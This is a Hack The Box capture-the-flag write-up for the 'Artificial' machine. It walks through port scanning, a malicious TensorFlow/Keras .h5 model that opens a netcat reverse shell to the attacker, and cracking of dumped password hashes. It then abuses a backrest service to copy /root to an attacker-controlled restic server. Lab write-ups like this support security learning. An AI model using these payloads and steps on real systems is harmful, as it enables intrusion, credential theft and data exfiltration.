Write Ups

Here you can find some writeups of Hack The Box machines that I have solved. Open them to see the details of each machine, including the steps I took to solve them, the tools I used, and any challenges I faced along the way.

Feel free to reach out if you have any questions or want to discuss anything related to cybersecurity or web development.

Check out other write ups

Artificial

Artificial icon

Difficulty: Easy

OS: Linux

Solved on: 2025/07/28

htb logo

Enumeration

We start by scanning the target machine for open ports using Nmap. We will use the -p- option to scan all ports and the --open option to filter out closed ports:

nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.11.74 -o content/allPortsFiltered
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

We can see that ports 22 (SSH) and 80 (HTTP) are open.

When accessing http://10.10.11.74 it redirects to http://artificial.htb, which is a custom domain. We need to add this domain to our /etc/hosts file:

echo "10.10.11.74 artificial.htb" | sudo tee -a /etc/hosts

Now we can access the web server using the custom domain http://artificial.htb.

We create an account in the web application, which is a simple login page. After creating an account, we can log in with the credentials we set.

For the directory enumeration, we can use tools like gobuster or dirb to find hidden directories and files.

gobuster dir -u http://artificial.htb -w /usr/share/wordlists/dirb/common.txt
/dashboard            (Status: 302) [Size: 199] [--> /login]
/login                (Status: 200) [Size: 857]
/logout               (Status: 302) [Size: 189] [--> /]

There are no interesting hidden directories. All of them are related to the web app functionality.

User Exploitation

After registering and logging in, we can access the /dashboard page. The dashboard contains a form to upload .h5 files.

We can generate a malicious .h5 file that contains a payload to execute arbitrary code. We will use this github repository, https://github.com/Splinter0/tensorflow-rce to create the file.

We add use the docker image provided in the repository to generate the .h5 file:

import tensorflow as tf

def exploit(x):
    import os
    os.system("rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.90 4444 >/tmp/f")
    return x

model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")

We upload the generated .h5 file to the web application. The application processes the file and executes the payload, which opens a reverse shell to our machine.

We can read the database and find all users and their hashed passwords. The database is stored in a file called instance/users.db.

1|gael|gael@artificial.htb|c99175974b6e192936d97224638a34f8
2|mark|mark@artificial.htb|0f3d8c76530022670f1c6029eed09ccb
3|robert|robert@artificial.htb|b606c5f5136170f15444251665638b36
4|royer|royer@artificial.htb|bc25b1f80f544c0ab451c02a3dca9fc6
5|mary|mary@artificial.htb|bf041041e57f1aff3be7ea1abd6129d0

We use https://crackstation.net/ to crack the password hashes. After cracking, we find the following credentials

gael:mattp005numbertwo
royer:marwinnarak043414036

We use gael’s credentials to log in though SSH:

ssh gael@artificial.htb

Then, we can read the user flag:

cat /home/gael/user.txt
user flag value

Root Privilege Escalation

We do id to check the privileges of the user gael:

id
uid=1000(gael) gid=1000(gael) groups=1000(gael),1007(sysadm)

We look for files/directories with sysadm ownership:

ls -la / | grep -n10 sysadm
265127-/var/backups:
265128-total 51220
265129--rw-r--r-- 1 root root      38602 Jun  9 10:48 apt.extended_states.0
265130--rw-r--r-- 1 root root       4253 Jun  9 09:02 apt.extended_states.1.gz
265131--rw-r--r-- 1 root root       4206 Jun  2 07:42 apt.extended_states.2.gz
265132--rw-r--r-- 1 root root       4190 May 27 13:07 apt.extended_states.3.gz
265133--rw-r--r-- 1 root root       4383 Oct 27  2024 apt.extended_states.4.gz
265134--rw-r--r-- 1 root root       4379 Oct 19  2024 apt.extended_states.5.gz
265135--rw-r--r-- 1 root root       4367 Oct 14  2024 apt.extended_states.6.gz
265136:-rw-r----- 1 root sysadm 52357120 Mar  4 22:19 backrest_backup.tar.gz

We find a file called /var/backups/backrest_backup.tar.gz owned by root:sysadm. It looks like a compressed backup file. We can extract it to see its contents:

tar -xvf /var/backups/backrest_backup.tar.gz
backrest/
backrest/restic
backrest/oplog.sqlite-wal
backrest/oplog.sqlite-shm
backrest/.config/
backrest/.config/backrest/
backrest/.config/backrest/config.json
backrest/oplog.sqlite.lock
backrest/backrest
backrest/tasklogs/
backrest/tasklogs/logs.sqlite-shm
backrest/tasklogs/.inprogress/
backrest/tasklogs/logs.sqlite-wal
backrest/tasklogs/logs.sqlite
backrest/oplog.sqlite
backrest/jwt-secret
backrest/processlogs/
backrest/processlogs/backrest.log
backrest/install.sh

In backrest/.config/backrest/config.json we find the following content:

{
  "modno": 2,
  "version": 4,
  "instance": "Artificial",
  "auth": {
    "disabled": false,
    "users": [
      {
        "name": "backrest_root",
        "passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"
      }
    ]
  }
}

This Bcrypt password is coded in base64. We can decode it to get the actual Bcrypt hash:

echo "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP" | base64 -d
$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO

Bcrypt is an algorithm used for hashing passwords. The password for the user backrest_root is hashed using bcrypt. We can use a tool like hashcat or john the ripper to crack the password.

hashcat -m 3200 password.txt /usr/share/wordlists/rockyou.txt
hash: $2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO
password: !@#$%^

We find that there is a backrest service running on internal port 9898. We can use ssh to port forward this port to our local machine:

ssh -L 9898:localhost:9898 gael@artificial.htb

Now we can access the backrest service on our local machine at http://localhost:9898. We can log in using the credentials backrest_root:!@#$%^.

Create a new repo in the backrest service connecting it to a local rest service. Create a plan which copies /root to the remote repo.

We create a initialize rest server:

RPORT=12345
NAME=backup_name
./rest-server --listen ":$RPORT"

We create a new repository in the local rest server:

restic init -r "rest:http://localhost:$RPORT/$NAME"

We create a new repository in the backrest service:

Repo Name: backup
Repository URL -> rest:http://10.10.14.175:9321/backup
Password: wak

We create a plan in the backrest service:

Plan Name: backup
Repository: backup
Path: /root

We run the plan to copy the /root directory to the remote repository:

Backup Now

When the backup is complete, we can check the contents of the local rest repository:

restic restore -r "/tmp/restic/backup" latest --target .

We enter the password wak when prompted. This will restore the contents of the /root directory to the current directory.

We can now read the root flag:

cat root/root.txt
root flag value

Conclusion

In this write-up, we have demonstrated how to exploit a backup service to gain unauthorized access to sensitive files. By leveraging the backrest service and creating a local restic repository, we were able to copy the contents of the /root directory to our local machine. This allowed us to retrieve the root flag and gain a deeper understanding of the system’s security posture.


Check out other write ups

Here you can find some writeups of Hack The Box machines that I have solved. Open them to see the details of each machine, including the steps I took to solve them, the tools I used, and any challenges I faced along the way.